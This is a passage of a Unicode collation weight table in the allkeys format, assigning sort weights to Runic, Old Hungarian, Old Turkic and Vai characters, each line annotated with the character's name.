TVIMADUR SYMBOL -16DA ; [.36F2.0020.0002] # RUNIC LETTER LAUKAZ LAGU LOGR L -16DB ; [.36F2.0020.0004][.0000.0110.0004] # RUNIC LETTER DOTTED-L -16DC ; [.36F3.0020.0002] # RUNIC LETTER INGWAZ -16DD ; [.36F3.0020.0004][.0000.0110.0004] # RUNIC LETTER ING -16DE ; [.36F4.0020.0002] # RUNIC LETTER DAGAZ DAEG D -16DF ; [.36F5.0020.0002] # RUNIC LETTER OTHALAN ETHEL O -16F3 ; [.36F6.0020.0002] # RUNIC LETTER OO -16AA ; [.36F7.0020.0002] # RUNIC LETTER AC A -16F7 ; [.36F8.0020.0002] # RUNIC LETTER FRANKS CASKET AC -16AB ; [.36F9.0020.0002] # RUNIC LETTER AESC -16F8 ; [.36FA.0020.0002] # RUNIC LETTER FRANKS CASKET AESC -16A3 ; [.36FB.0020.0002] # RUNIC LETTER YR -16E0 ; [.36FC.0020.0002] # RUNIC LETTER EAR -16E3 ; [.36FD.0020.0002] # RUNIC LETTER CALC -16B8 ; [.36FE.0020.0002] # RUNIC LETTER GAR -16E4 ; [.36FF.0020.0002] # RUNIC LETTER CEALC -16E1 ; [.3700.0020.0002] # RUNIC LETTER IOR -16E2 ; [.3701.0020.0002] # RUNIC LETTER CWEORTH -16E5 ; [.3702.0020.0002] # RUNIC LETTER STAN -16E6 ; [.3703.0020.0002] # RUNIC LETTER LONG-BRANCH-YR -16E7 ; [.3703.0020.0004][.0000.0110.0004] # RUNIC LETTER SHORT-TWIG-YR -16E8 ; [.3703.0020.0004][.0000.0111.0004] # RUNIC LETTER ICELANDIC-YR -10CC0 ; [.3704.0020.0002] # OLD HUNGARIAN SMALL LETTER A -10C80 ; [.3704.0020.0008] # OLD HUNGARIAN CAPITAL LETTER A -10CC1 ; [.3704.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER AA -10C81 ; [.3704.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER AA -10CC2 ; [.3705.0020.0002] # OLD HUNGARIAN SMALL LETTER EB -10C82 ; [.3705.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EB -10CC3 ; [.3706.0020.0002] # OLD HUNGARIAN SMALL LETTER AMB -10C83 ; [.3706.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AMB -10CC4 ; [.3707.0020.0002] # OLD HUNGARIAN SMALL LETTER EC -10C84 ; [.3707.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EC -10CC5 ; [.3708.0020.0002] # OLD HUNGARIAN SMALL LETTER ENC -10C85 ; [.3708.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENC -10CC6 ; [.3709.0020.0002] # OLD HUNGARIAN SMALL LETTER ECS -10C86 ; [.3709.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECS -10CC7 ; [.370A.0020.0002] # OLD HUNGARIAN SMALL LETTER ED -10C87 ; [.370A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ED -10CC8 ; [.370B.0020.0002] # OLD HUNGARIAN SMALL LETTER AND -10C88 ; [.370B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AND -10CC9 ; [.370C.0020.0002] # OLD HUNGARIAN SMALL LETTER E -10C89 ; [.370C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER E -10CCA ; [.370C.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER CLOSE E -10C8A ; [.370C.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER CLOSE E -10CCB ; [.370C.0020.0004][.0000.0111.0004] # OLD HUNGARIAN SMALL LETTER EE -10C8B ; [.370C.0020.000A][.0000.0111.0004] # OLD HUNGARIAN CAPITAL LETTER EE -10CCC ; [.370D.0020.0002] # OLD HUNGARIAN SMALL LETTER EF -10C8C ; [.370D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EF -10CCD ; [.370E.0020.0002] # OLD HUNGARIAN SMALL LETTER EG -10C8D ; [.370E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EG -10CCE ; [.370F.0020.0002] # OLD HUNGARIAN SMALL LETTER EGY -10C8E ; [.370F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EGY -10CCF ; [.3710.0020.0002] # OLD HUNGARIAN SMALL LETTER EH -10C8F ; [.3710.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EH -10CD0 ; [.3711.0020.0002] # OLD HUNGARIAN SMALL LETTER I -10C90 ; [.3711.0020.0008] # OLD HUNGARIAN CAPITAL LETTER I -10CD1 ; [.3711.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER II -10C91 ; [.3711.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER II -10CD2 ; [.3712.0020.0002] # OLD HUNGARIAN SMALL LETTER EJ -10C92 ; [.3712.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EJ -10CD3 ; [.3713.0020.0002] # OLD HUNGARIAN SMALL LETTER EK -10C93 ; [.3713.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EK -10CD4 ; [.3714.0020.0002] # OLD HUNGARIAN SMALL LETTER AK -10C94 ; [.3714.0020.0008] # OLD HUNGARIAN CAPITAL LETTER AK -10CD5 ; [.3715.0020.0002] # OLD HUNGARIAN SMALL LETTER UNK -10C95 ; [.3715.0020.0008] # OLD HUNGARIAN CAPITAL LETTER UNK -10CD6 ; [.3716.0020.0002] # OLD HUNGARIAN SMALL LETTER EL -10C96 ; [.3716.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EL -10CD7 ; [.3717.0020.0002] # OLD HUNGARIAN SMALL LETTER ELY -10C97 ; [.3717.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ELY -10CD8 ; [.3718.0020.0002] # OLD HUNGARIAN SMALL LETTER EM -10C98 ; [.3718.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EM -10CD9 ; [.3719.0020.0002] # OLD HUNGARIAN SMALL LETTER EN -10C99 ; [.3719.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EN -10CDA ; [.371A.0020.0002] # OLD HUNGARIAN SMALL LETTER ENY -10C9A ; [.371A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENY -10CDB ; [.371B.0020.0002] # OLD HUNGARIAN SMALL LETTER O -10C9B ; [.371B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER O -10CDC ; [.371B.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER OO -10C9C ; [.371B.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER OO -10CDD ; [.371C.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE -10C9D ; [.371C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE -10CDE ; [.371C.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA OE -10C9E ; [.371C.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE -10CDF ; [.371C.0020.0004][.0000.0111.0004] # OLD HUNGARIAN SMALL LETTER OEE -10C9F ; [.371C.0020.000A][.0000.0111.0004] # OLD HUNGARIAN CAPITAL LETTER OEE -10CE0 ; [.371D.0020.0002] # OLD HUNGARIAN SMALL LETTER EP -10CA0 ; [.371D.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EP -10CE1 ; [.371E.0020.0002] # OLD HUNGARIAN SMALL LETTER EMP -10CA1 ; [.371E.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EMP -10CE2 ; [.371F.0020.0002] # OLD HUNGARIAN SMALL LETTER ER -10CA2 ; [.371F.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ER -10CE3 ; [.371F.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER SHORT ER -10CA3 ; [.371F.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER SHORT ER -10CE4 ; [.3720.0020.0002] # OLD HUNGARIAN SMALL LETTER ES -10CA4 ; [.3720.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ES -10CE5 ; [.3721.0020.0002] # OLD HUNGARIAN SMALL LETTER ESZ -10CA5 ; [.3721.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ESZ -10CE6 ; [.3722.0020.0002] # OLD HUNGARIAN SMALL LETTER ET -10CA6 ; [.3722.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ET -10CE7 ; [.3723.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT -10CA7 ; [.3723.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT -10CE8 ; [.3724.0020.0002] # OLD HUNGARIAN SMALL LETTER ETY -10CA8 ; [.3724.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ETY -10CE9 ; [.3725.0020.0002] # OLD HUNGARIAN SMALL LETTER ECH -10CA9 ; [.3725.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ECH -10CEA ; [.3726.0020.0002] # OLD HUNGARIAN SMALL LETTER U -10CAA ; [.3726.0020.0008] # OLD HUNGARIAN CAPITAL LETTER U -10CEB ; [.3726.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER UU -10CAB ; [.3726.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER UU -10CEC ; [.3727.0020.0002] # OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE -10CAC ; [.3727.0020.0008] # OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE -10CED ; [.3727.0020.0004][.0000.0110.0004] # OLD HUNGARIAN SMALL LETTER RUDIMENTA UE -10CAD ; [.3727.0020.000A][.0000.0110.0004] # OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE -10CEE ; [.3728.0020.0002] # OLD HUNGARIAN SMALL LETTER EV -10CAE ; [.3728.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EV -10CEF ; [.3729.0020.0002] # OLD HUNGARIAN SMALL LETTER EZ -10CAF ; [.3729.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZ -10CF0 ; [.372A.0020.0002] # OLD HUNGARIAN SMALL LETTER EZS -10CB0 ; [.372A.0020.0008] # OLD HUNGARIAN CAPITAL LETTER EZS -10CF1 ; [.372B.0020.0002] # OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN -10CB1 ; [.372B.0020.0008] # OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN -10CF2 ; [.372C.0020.0002] # OLD HUNGARIAN SMALL LETTER US -10CB2 ; [.372C.0020.0008] # OLD HUNGARIAN CAPITAL LETTER US -10C00 ; [.372D.0020.0002] # OLD TURKIC LETTER ORKHON A -10C01 ; [.372D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI A -10C02 ; [.372E.0020.0002] # OLD TURKIC LETTER YENISEI AE -10C03 ; [.372F.0020.0002] # OLD TURKIC LETTER ORKHON I -10C04 ; [.372F.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI I -10C05 ; [.3730.0020.0002] # OLD TURKIC LETTER YENISEI E -10C06 ; [.3731.0020.0002] # OLD TURKIC LETTER ORKHON O -10C07 ; [.3732.0020.0002] # OLD TURKIC LETTER ORKHON OE -10C08 ; [.3732.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OE -10C09 ; [.3733.0020.0002] # OLD TURKIC LETTER ORKHON AB -10C0A ; [.3733.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AB -10C0B ; [.3734.0020.0002] # OLD TURKIC LETTER ORKHON AEB -10C0C ; [.3734.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEB -10C0D ; [.3735.0020.0002] # OLD TURKIC LETTER ORKHON AG -10C0E ; [.3735.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AG -10C0F ; [.3736.0020.0002] # OLD TURKIC LETTER ORKHON AEG -10C10 ; [.3736.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEG -10C11 ; [.3737.0020.0002] # OLD TURKIC LETTER ORKHON AD -10C12 ; [.3737.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AD -10C13 ; [.3738.0020.0002] # OLD TURKIC LETTER ORKHON AED -10C14 ; [.3739.0020.0002] # OLD TURKIC LETTER ORKHON EZ -10C15 ; [.3739.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI EZ -10C16 ; [.373A.0020.0002] # OLD TURKIC LETTER ORKHON AY -10C17 ; [.373A.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AY -10C18 ; [.373B.0020.0002] # OLD TURKIC LETTER ORKHON AEY -10C19 ; [.373B.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEY -10C1A ; [.373C.0020.0002] # OLD TURKIC LETTER ORKHON AEK -10C1B ; [.373C.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEK -10C1C ; [.373D.0020.0002] # OLD TURKIC LETTER ORKHON OEK -10C1D ; [.373D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OEK -10C1E ; [.373E.0020.0002] # OLD TURKIC LETTER ORKHON AL -10C1F ; [.373E.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AL -10C20 ; [.373F.0020.0002] # OLD TURKIC LETTER ORKHON AEL -10C21 ; [.3740.0020.0002] # OLD TURKIC LETTER ORKHON ELT -10C22 ; [.3741.0020.0002] # OLD TURKIC LETTER ORKHON EM -10C23 ; [.3742.0020.0002] # OLD TURKIC LETTER ORKHON AN -10C24 ; [.3743.0020.0002] # OLD TURKIC LETTER ORKHON AEN -10C25 ; [.3743.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AEN -10C26 ; [.3744.0020.0002] # OLD TURKIC LETTER ORKHON ENT -10C27 ; [.3744.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENT -10C28 ; [.3745.0020.0002] # OLD TURKIC LETTER ORKHON ENC -10C29 ; [.3745.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENC -10C2A ; [.3746.0020.0002] # OLD TURKIC LETTER ORKHON ENY -10C2B ; [.3746.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ENY -10C2C ; [.3747.0020.0002] # OLD TURKIC LETTER YENISEI ANG -10C2D ; [.3748.0020.0002] # OLD TURKIC LETTER ORKHON ENG -10C2E ; [.3748.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AENG -10C2F ; [.3749.0020.0002] # OLD TURKIC LETTER ORKHON EP -10C30 ; [.374A.0020.0002] # OLD TURKIC LETTER ORKHON OP -10C31 ; [.374B.0020.0002] # OLD TURKIC LETTER ORKHON IC -10C32 ; [.374C.0020.0002] # OLD TURKIC LETTER ORKHON EC -10C33 ; [.374C.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI EC -10C34 ; [.374D.0020.0002] # OLD TURKIC LETTER ORKHON AQ -10C35 ; [.374D.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AQ -10C36 ; [.374E.0020.0002] # OLD TURKIC LETTER ORKHON IQ -10C37 ; [.374E.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI IQ -10C38 ; [.374F.0020.0002] # OLD TURKIC LETTER ORKHON OQ -10C39 ; [.374F.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI OQ -10C3A ; [.3750.0020.0002] # OLD TURKIC LETTER ORKHON AR -10C3B ; [.3750.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AR -10C3C ; [.3751.0020.0002] # OLD TURKIC LETTER ORKHON AER -10C3D ; [.3752.0020.0002] # OLD TURKIC LETTER ORKHON AS -10C3E ; [.3753.0020.0002] # OLD TURKIC LETTER ORKHON AES -10C3F ; [.3754.0020.0002] # OLD TURKIC LETTER ORKHON ASH -10C40 ; [.3754.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ASH -10C41 ; [.3755.0020.0002] # OLD TURKIC LETTER ORKHON ESH -10C42 ; [.3755.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI ESH -10C43 ; [.3756.0020.0002] # OLD TURKIC LETTER ORKHON AT -10C44 ; [.3756.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AT -10C45 ; [.3757.0020.0002] # OLD TURKIC LETTER ORKHON AET -10C46 ; [.3757.0020.0004][.0000.0110.0004] # OLD TURKIC LETTER YENISEI AET -10C47 ; [.3758.0020.0002] # OLD TURKIC LETTER ORKHON OT -10C48 ; [.3759.0020.0002] # OLD TURKIC LETTER ORKHON BASH -A500 ; [.375A.0020.0002] # VAI SYLLABLE EE -A501 ; [.375B.0020.0002] # VAI SYLLABLE EEN -A502 ; [.375C.0020.0002] # VAI SYLLABLE HEE -A503 ; [.375D.0020.0002] # VAI SYLLABLE WEE -A504 ; [.375E.0020.0002] # VAI SYLLABLE WEEN -A505 ; [.375F.0020.0002] # VAI SYLLABLE PEE -A506 ; [.3760.0020.0002] # VAI SYLLABLE BHEE -A507 ; [.3761.0020.0002] # VAI SYLLABLE BEE -A508 ; [.3762.0020.0002] # VAI SYLLABLE MBEE -A509 ; [.3763.0020.0002] # VAI SYLLABLE KPEE -A50A ; [.3764.0020.0002] # VAI SYLLABLE MGBEE -A50B ; [.3765.0020.0002] # VAI SYLLABLE GBEE -A50C ; [.3766.0020.0002] # VAI SYLLABLE FEE -A613 ; [.3766.0020.0004][.3865.0020.0004] # VAI SYMBOL FEENG -A50D ; [.3767.0020.0002] # VAI SYLLABLE VEE -A50E ; [.3768.0020.0002] # VAI SYLLABLE TEE -A50F ; [.3769.0020.0002] # VAI SYLLABLE THEE -A510 ; [.376A.0020.0002] # VAI SYLLABLE DHEE -A511 ; [.376B.0020.0002] # VAI SYLLABLE DHHEE -A512 ; [.376C.0020.0002] # VAI SYLLABLE LEE -A513 ; [.376D.0020.0002] # VAI SYLLABLE REE -A514 ; [.376E.0020.0002] # VAI SYLLABLE DEE -A515 ; [.376F.0020.0002] # VAI SYLLABLE NDEE -A516 ; [.3770.0020.0002] # VAI SYLLABLE SEE -A517 ; [.3771.0020.0002] # VAI SYLLABLE SHEE -A518 ; [.3772.0020.0002] # VAI SYLLABLE ZEE -A519 ; [.3773.0020.0002] # VAI SYLLABLE ZHEE -A51A ; [.3774.0020.0002] # VAI SYLLABLE CEE -A51B ; [.3775.0020.0002] # VAI SYLLABLE JEE -A51C ; [.3776.0020.0002] # VAI SYLLABLE NJEE -A51D ; [.3777.0020.0002] # VAI SYLLABLE YEE -A51E ; [.3778.0020.0002] # VAI SYLLABLE KEE -A614 ; [.3778.0020.0004][.3865.0020.0004] # VAI SYMBOL KEENG -A51F ; [.3779.0020.0002] # VAI SYLLABLE NGGEE -A520 ; [.377A.0020.0002] # VAI SYLLABLE GEE -A521 ; [.377B.0020.0002] # VAI SYLLABLE MEE -A522 ; [.377C.0020.0002] # VAI SYLLABLE NEE -A523 ; [.377D.0020.0002] # VAI SYLLABLE NYEE -A524 ; [.377E.0020.0002] # VAI SYLLABLE I -A525 ; [.377F.0020.0002] # VAI SYLLABLE IN -A526 ; [.3780.0020.0002] # VAI SYLLABLE HI -A527 ; [.3781.0020.0002] # VAI SYLLABLE HIN -A528 ; [.3782.0020.0002] # VAI SYLLABLE WI -A529 ; [.3783.0020.0002] # VAI SYLLABLE WIN -A52A ; [.3784.0020.0002] # VAI SYLLABLE PI -A52B ; [.3785.0020.0002] # VAI SYLLABLE BHI -A52C ; [.3786.0020.0002] # VAI SYLLABLE BI -A52D ; [.3787.0020.0002] # VAI SYLLABLE MBI -A52E ; [.3788.0020.0002] # VAI SYLLABLE KPI -A52F ; [.3789.0020.0002] # VAI SYLLABLE MGBI -A530 ; [.378A.0020.0002] # VAI SYLLABLE GBI -A531 ; [.378B.0020.0002] # VAI SYLLABLE FI -A532 ; [.378C.0020.0002] # VAI SYLLABLE VI -A533 ; [.378D.0020.0002] # VAI SYLLABLE TI -A615 ; [.378D.0020.0004][.3865.0020.0004] # VAI SYMBOL TING -A534 ; [.378E.0020.0002] # VAI SYLLABLE THI -A535 ; [.378F.0020.0002] # VAI SYLLABLE DHI -A536 ; [.3790.0020.0002] # VAI SYLLABLE DHHI -A537 ; [.3791.0020.0002] # VAI SYLLABLE LI -A538 ; [.3792.0020.0002] # VAI SYLLABLE RI -A539 ; [.3793.0020.0002] # VAI SYLLABLE DI -A53A ; [.3794.0020.0002] # VAI SYLLABLE NDI -A53B ; [.3795.0020.0002] # VAI SYLLABLE SI -A53C ; [.3796.0020.0002] # VAI SYLLABLE SHI -A53D ; [.3797.0020.0002] # VAI SYLLABLE ZI -A53E ; [.3798.0020.0002] # VAI SYLLABLE ZHI -A53F ; [.3799.0020.0002] # VAI SYLLABLE CI -A540 ; [.379A.0020.0002] # VAI SYLLABLE JI -A541 ; [.379B.0020.0002] # VAI SYLLABLE NJI -A542 ; [.379C.0020.0002] # VAI SYLLABLE YI -A543 ; [.379D.0020.0002] # VAI SYLLABLE KI -A544 ; [.379E.0020.0002] # VAI SYLLABLE NGGI -A545 ; [.379F.0020.0002] # VAI SYLLABLE GI -A546 ; [.37A0.0020.0002] # VAI SYLLABLE MI -A547 ; [.37A1.0020.0002] # VAI SYLLABLE NI -A616 ; [.37A1.0020.0004][.3866.0020.0004] # VAI SYMBOL NII -A548 ; [.37A2.0020.0002] # VAI SYLLABLE NYI -A549 ; [.37A3.0020.0002] # VAI SYLLABLE A -A54A ; [.37A4.0020.0002] # VAI SYLLABLE AN -A54B ; [.37A5.0020.0002] # VAI SYLLABLE NGAN -A54C ; [.37A6.0020.0002] # VAI SYLLABLE HA -A54D ; [.37A7.0020.0002] # VAI SYLLABLE HAN -A54E ; [.37A8.0020.0002] # VAI SYLLABLE WA -A54F ; [.37A9.0020.0002] # VAI SYLLABLE WAN -A550 ; [.37AA.0020.0002] # VAI SYLLABLE PA -A551 ; [.37AB.0020.0002] # VAI SYLLABLE BHA -A552 ; [.37AC.0020.0002] # VAI SYLLABLE BA -A617 ; [.37AC.0020.0004][.3865.0020.0004] # VAI SYMBOL BANG -A553 ; [.37AD.0020.0002] # VAI SYLLABLE MBA -A554 ; [.37AE.0020.0002] # VAI SYLLABLE KPA -A555 ; [.37AF.0020.0002] # VAI SYLLABLE KPAN -A556 ; [.37B0.0020.0002] # VAI SYLLABLE MGBA -A557 ; [.37B1.0020.0002] # VAI SYLLABLE GBA -A558 ; [.37B2.0020.0002] # VAI SYLLABLE FA -A610 ; [.37B2.0020.0004] # VAI SYLLABLE NDOLE FA -A618 ; [.37B2.0020.0004][.3866.0020.0004] # VAI SYMBOL FAA -A559 ; [.37B3.0020.0002] # VAI SYLLABLE VA -A55A ; [.37B4.0020.0002] # VAI SYLLABLE TA -A619 ; [.37B4.0020.0004][.3866.0020.0004] # VAI SYMBOL TAA -A55B ; [.37B5.0020.0002] # VAI SYLLABLE THA -A55C ; [.37B6.0020.0002] # VAI SYLLABLE DHA -A55D ; [.37B7.0020.0002] # VAI SYLLABLE DHHA -A55E ; [.37B8.0020.0002] # VAI SYLLABLE LA -A55F ; [.37B9.0020.0002] # VAI SYLLABLE RA -A560 ; [.37BA.0020.0002] # VAI SYLLABLE DA -A61A ; [.37BA.0020.0004][.3865.0020.0004] # VAI SYMBOL DANG -A561 ; [.37BB.0020.0002] # VAI SYLLABLE NDA -A562 ; [.37BC.0020.0002] # VAI SYLLABLE SA -A563 ; [.37BD.0020.0002] # VAI SYLLABLE SHA -A564 ; [.37BE.0020.0002] # VAI SYLLABLE ZA -A565 ; [.37BF.0020.0002] # VAI SYLLABLE ZHA -A566 ; [.37C0.0020.0002] # VAI SYLLABLE CA -A567 ; [.37C1.0020.0002] # VAI SYLLABLE JA -A568 ; [.37C2.0020.0002] # VAI SYLLABLE NJA -A569 ; [.37C3.0020.0002] # VAI SYLLABLE YA -A56A ; [.37C4.0020.0002] # VAI SYLLABLE KA -A611 ; [.37C4.0020.0004] # VAI SYLLABLE NDOLE KA -A56B ; [.37C5.0020.0002] # VAI SYLLABLE KAN -A56C ; [.37C6.0020.0002] # VAI SYLLABLE NGGA -A56D ; [.37C7.0020.0002] # VAI SYLLABLE GA -A56E ; [.37C8.0020.0002] # VAI SYLLABLE MA -A62A ; [.37C8.0020.0004] # VAI SYLLABLE NDOLE MA -A56F ; [.37C9.0020.0002] # VAI SYLLABLE NA -A570 ; [.37CA.0020.0002] # VAI SYLLABLE NYA -A571 ; [.37CB.0020.0002] # VAI SYLLABLE OO -A572 ; [.37CC.0020.0002] # VAI SYLLABLE OON -A573 ; [.37CD.0020.0002] # VAI SYLLABLE HOO -A574 ; [.37CE.0020.0002] # VAI SYLLABLE WOO -A575 ; [.37CF.0020.0002] # VAI SYLLABLE WOON -A576 ; [.37D0.0020.0002] # VAI SYLLABLE POO -A577 ; [.37D1.0020.0002] # VAI SYLLABLE BHOO -A578 ; [.37D2.0020.0002] # VAI SYLLABLE BOO -A579 ; [.37D3.0020.0002] # VAI SYLLABLE MBOO -A57A ; [.37D4.0020.0002] # VAI SYLLABLE KPOO -A57B ; [.37D5.0020.0002] # VAI SYLLABLE MGBOO -A57C ; [.37D6.0020.0002] # VAI SYLLABLE GBOO -A57D ; [.37D7.0020.0002] # VAI SYLLABLE FOO -A57E ; [.37D8.0020.0002] # VAI SYLLABLE VOO -A57F ; [.37D9.0020.0002] # VAI SYLLABLE TOO -A580 ; [.37DA.0020.0002] # VAI SYLLABLE THOO -A581 ; [.37DB.0020.0002] # VAI SYLLABLE DHOO -A582 ; [.37DC.0020.0002] # VAI SYLLABLE DHHOO -A583 ; [.37DD.0020.0002] # VAI SYLLABLE LOO -A584 ; [.37DE.0020.0002] # VAI SYLLABLE ROO -A585 ; [.37DF.0020.0002] # VAI SYLLABLE DOO -A61B ; [.37DF.0020.0004][.3865.0020.0004] # VAI SYMBOL DOONG -A586 ; [.37E0.0020.0002] # VAI SYLLABLE NDOO -A587 ; [.37E1.0020.0002] # VAI SYLLABLE SOO -A612 ; [.37E1.0020.0004] # VAI SYLLABLE NDOLE SOO -A588 ; [.37E2.0020.0002] # VAI SYLLABLE SHOO -A589 ; [.37E3.0020.0002] # VAI SYLLABLE ZOO -A58A ; [.37E4.0020.0002] # VAI SYLLABLE ZHOO -A58B ; [.37E5.0020.0002] # VAI SYLLABLE COO -A58C ; [.37E6.0020.0002] # VAI SYLLABLE JOO -A58D ; [.37E7.0020.0002] # VAI SYLLABLE NJOO -A58E ; [.37E8.0020.0002] # VAI SYLLABLE YOO -A58F ; [.37E9.0020.0002] # VAI SYLLABLE KOO -A590 ; [.37EA.0020.0002] # VAI SYLLABLE NGGOO -A591 ; [.37EB.0020.0002] # VAI SYLLABLE GOO -A592 ; [.37EC.0020.0002] # VAI SYLLABLE MOO -A593 ; [.37ED.0020.0002] # VAI SYLLABLE NOO -A594 ; [.37EE.0020.0002] # VAI SYLLABLE NYOO -A595 ; [.37EF.0020.0002] # VAI SYLLABLE U -A596 ; [.37F0.0020.0002] # VAI SYLLABLE UN -A597 ; [.37F1.0020.0002] # VAI SYLLABLE HU -A598 ; [.37F2.0020.0002] # VAI SYLLABLE HUN -A599 ; [.37F3.0020.0002] # VAI SYLLABLE WU -A59A ; [.37F4.0020.0002] # VAI SYLLABLE WUN -A59B ; [.37F5.0020.0002] # VAI SYLLABLE PU -A59C ; [.37F6.0020.0002] # VAI SYLLABLE BHU -A59D ; [.37F7.0020.0002] # VAI SYLLABLE BU -A59E ; [.37F8.0020.0002] # VAI SYLLABLE MBU -A59F ; [.37F9.0020.0002] # VAI SYLLABLE KPU -A5A0 ; [.37FA.0020.0002] # VAI SYLLABLE MGBU -A5A1 ; [.37FB.0020.0002] # VAI SYLLABLE GBU -A5A2 ; [.37FC.0020.0002] # VAI SYLLABLE FU -A5A3 ; [.37FD.0020.0002] # VAI SYLLABLE VU -A5A4 ; [.37FE.0020.0002] # VAI SYLLABLE TU -A5A5 ; [.37FF.0020.0002] # VAI SYLLABLE THU -A5A6 ; [.3800.0020.0002] # VAI SYLLABLE DHU -A5A7 ; [.3801.0020.0002] # VAI SYLLABLE DHHU -A5A8 ; [.3802.0020.0002] # VAI SYLLABLE LU -A5A9 ; [.3803.0020.0002] # VAI SYLLABLE RU -A5AA ; [.3804.0020.0002] # VAI SYLLABLE DU -A5AB ; [.3805.0020.0002] # VAI SYLLABLE NDU -A5AC ; [.3806.0020.0002] # VAI SYLLABLE SU -A5AD ; [.3807.0020.0002] # VAI SYLLABLE SHU -A5AE ; [.3808.0020.0002] # VAI SYLLABLE ZU -A5AF ; [.3809.0020.0002] # VAI SYLLABLE ZHU -A5B0 ; [.380A.0020.0002] # VAI SYLLABLE CU -A5B1 ; [.380B.0020.0002] # VAI SYLLABLE JU -A5B2 ; [.380C.0020.0002] # VAI SYLLABLE NJU -A5B3 ; [.380D.0020.0002] # VAI SYLLABLE YU -A5B4 ; [.380E.0020.0002] # VAI SYLLABLE KU -A61C ; [.380E.0020.0004][.3865.0020.0004] # VAI SYMBOL KUNG -A5B5 ; [.380F.0020.0002] # VAI SYLLABLE NGGU -A5B6 ; [.3810.0020.0002] # VAI SYLLABLE GU -A5B7 ; [.3811.0020.0002] # VAI SYLLABLE MU -A5B8 ; [.3812.0020.0002] # VAI SYLLABLE NU -A5B9 ; [.3813.0020.0002] # VAI SYLLABLE NYU -A5BA ; [.3814.0020.0002] # VAI SYLLABLE O -A5BB ; [.3815.0020.0002] # VAI SYLLABLE ON -A5BC ; [.3816.0020.0002] # VAI SYLLABLE NGON -A5BD 